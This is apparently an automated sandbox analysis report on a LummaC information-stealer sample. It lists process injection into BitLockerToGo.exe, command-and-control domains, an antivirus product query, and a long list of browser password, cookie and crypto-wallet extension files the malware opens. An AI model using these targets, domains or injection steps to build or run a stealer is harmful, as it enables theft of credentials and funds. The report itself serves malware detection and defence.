Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2399660238.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2390908646.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2421582316.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2437752954.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000002.2470058526.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000006.00000003.2400786430.0000000004F94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: tatuJHXSR4.exe, 00000003.00000002.2379008656.000002243F4A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000006.00000002.2470058526.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 750000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 750000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: pillowbrocccolipe.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: communicationgenerwo.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diskretainvigorousiw.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: affordcharmcropwo.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dismissalcylinderhostw.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: enthusiasimtitleow.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: worryfillvolcawoi.shop
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cleartotalfisherwo.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 750000			Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 8B3008			Jump to behavior

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Users\user\Desktop\tatuJHXSR4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7620, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: BitLockerToGo.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe	String found in binary or memory: Wallets/Exodus
Source: BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000C96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: BitLockerToGo.exe, 00000006.00000002.2469778944.0000000000718000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: 3vC:\Users\user\AppData\Roaming\Ledger Live$3v%appdata%\Ledger Liven2v*n+v

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
